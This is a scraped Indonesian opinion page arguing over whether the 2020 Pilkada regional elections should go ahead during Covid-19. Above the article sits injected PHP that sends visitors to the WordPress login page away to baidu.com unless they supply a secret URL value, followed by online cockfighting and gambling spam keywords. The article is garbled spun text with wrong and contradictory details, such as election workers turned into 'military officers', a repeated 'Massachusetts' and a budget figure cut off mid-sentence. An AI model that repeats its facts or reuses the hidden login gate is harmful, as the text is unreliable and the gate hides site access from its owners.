//̨¼ add_action('login_enqueue_scripts','login_protection'); function login_protection(){ if($_GET['word'] != '2868973770')header('Location: https://www.baidu.com/'); } Politik berdarah: | s1288 net_sabung ayam online s128_sv388

Kebijakan berdarah: “mengejar pemerintahan yang tak terlihat”

Penulis: KH. Imam Jazuli, Massachusetts, Massachusetts, Massachusetts * -Sejarah menunjukkan bahwa manusia semakin mahir dalam membunuh. Politik terlihat lebih tajam dari pada pedang. Dalam pemilihan presiden 2019, 894 perwira militer tewas dan 5.175 jatuh sakit. Saat itu, Ketua KPU Arief Budiman menilai beban kerja Pemilu 2019 terlalu berat. Komisi Pemilihan Umum (KPU) menyebut empat alasan menjadi Presiden Pilkada: kewenangan hukum, hak konstitusional, pengelolaan anggaran, dan ketidakpastian menjelang berakhirnya Covid-19. Tangan publik. Kepercayaan pemerintah telah ditutup. Hampir tidak mungkin berharap Pilkada tidak terjadi pada tahun 2020. Tampaknya pemerintah menutup telinga, memberi kesan bahwa tidak ada yang punya alasan lebih untuk percaya selain pemerintah.

KH. Aqil Siroj (Aqil Siroj) menyampaikan hasil pertemuan skala besar PBNU yaitu keselamatan hidup manusia harus ditingkatkan. Pilkada masih bisa ditunda, tapi hidup mati tidak bisa ditunda. Mungkin juga merujuk pada fakta politik Pilpres 2019 yang penuh kekerasan dan memakan korban jiwa. Sekarang harus dievaluasi oleh masyarakat.

Bagaimana peraturan pemerintah akan menggantikan UU Pilkada Nomor 2 Tahun 2020 sebagai dasar hukum resmi penyelenggaraan Pilkada tahun ini. Selain itu, dana Pilkada yang dibayarkan sebesar Rp. Pemerintah 1,4 triliun percaya bahwa mereka tidak punya pilihan selain menunda epidemi Pilkada, apalagi pandemi Covid-19 Organisasi Kesehatan Dunia (WHO), dan kami tidak tahu kapan itu akan berakhir.

Seperti kata pepatah, hidup memang sebuah pilihan. NU, Muhammadiyah dan Komnas HAM memilih kemanusiaan dan keamanan. Pemerintah memilih tradisi perebutan kekuasaan dan mengajukan semua argumen yang mungkin. Penulis menunjukkan bahwa semua pihak telah membuat pilihan. Mulai sekarang, terserah publik untuk memutuskan dengan siapa akan berdiri. Ia berkata: “Saya menyadari bahwa Indonesia tidak memilih pemimpin tetapi penguasa hanya ketika saya sudah tua.” Pidato Cak Nun mengingatkan kita akan desakan pemerintah untuk mempertahankan Pilkada, meskipun masyarakat tidak mau melakukannya. Karena fondasi yang digunakan sangat kokoh seperti hukum, aturan tata kelola negara, dan asumsi WHO. Pada saat yang sama, negara ini adalah negara hukum, dan hukum harus menjadi payung bersama. Oleh karena itu, penafsiran undang-undang menjadi hal terpenting dalam menentukan apakah Pilkada harus ditunda atau dilanjutkan.

Add Comment

Your email address will not be published. Required fields are marked *